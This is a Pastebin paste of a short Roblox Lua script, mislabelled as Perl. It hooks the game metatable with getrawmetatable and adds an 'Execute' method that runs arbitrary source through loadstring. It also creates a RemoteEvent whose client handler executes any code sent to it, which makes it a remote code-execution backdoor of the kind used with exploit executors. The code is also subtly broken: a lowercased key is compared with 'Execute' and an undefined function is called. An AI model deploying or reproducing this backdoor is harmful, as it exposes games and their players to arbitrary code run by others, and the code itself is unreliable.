Advertisement
ForkFullFight

Edit

Jan 20th, 2023 (edited)
128
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.00 KB | None | 0 0
  1. Begin = function()
  2.  
  3. local gMetatable = getrawmetatable(game)
  4.  
  5. local Index = function(self, k)
  6.     local Function = string.lower(k)
  7.     if Function == "Execute" then
  8.     return function(self, source)
  9.         return { loadstring(source)() }
  10.         end
  11.     end
  12. end
  13.  
  14. local o_Index = gMetatable.__index
  15. gMetatable.__index = function(self, k)
  16.     local v = index(self, k)
  17.     if v then
  18.     return v
  19.     end
  20.     return o_Index(self, k)
  21. end
  22.  
  23. local o_Namecall = gMetatable.__namecall
  24. gMetatable.__namecall = function(self, ...)
  25.     local args = {...}
  26.     local method = table.remove(args)
  27.    
  28.     if type(method) == "string" then
  29.     local ret = Index(self, method)
  30.     if ret then
  31.     return ret(self, unpack(args))
  32.     end
  33.     end
  34.     return o_Namecall(self, ...)
  35. end
  36.  
  37.  
  38. local RemoteEvent = Instance.new("RemoteEvent")
  39. RemoteEvent.Parent=game.ReplicatedStorage
  40.  
  41. RemoteEvent.OnClientEvent:connect(function(Source)
  42.     game:Execute(Source)
  43. end)
  44. end
  45. spawn(function() Begin() end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement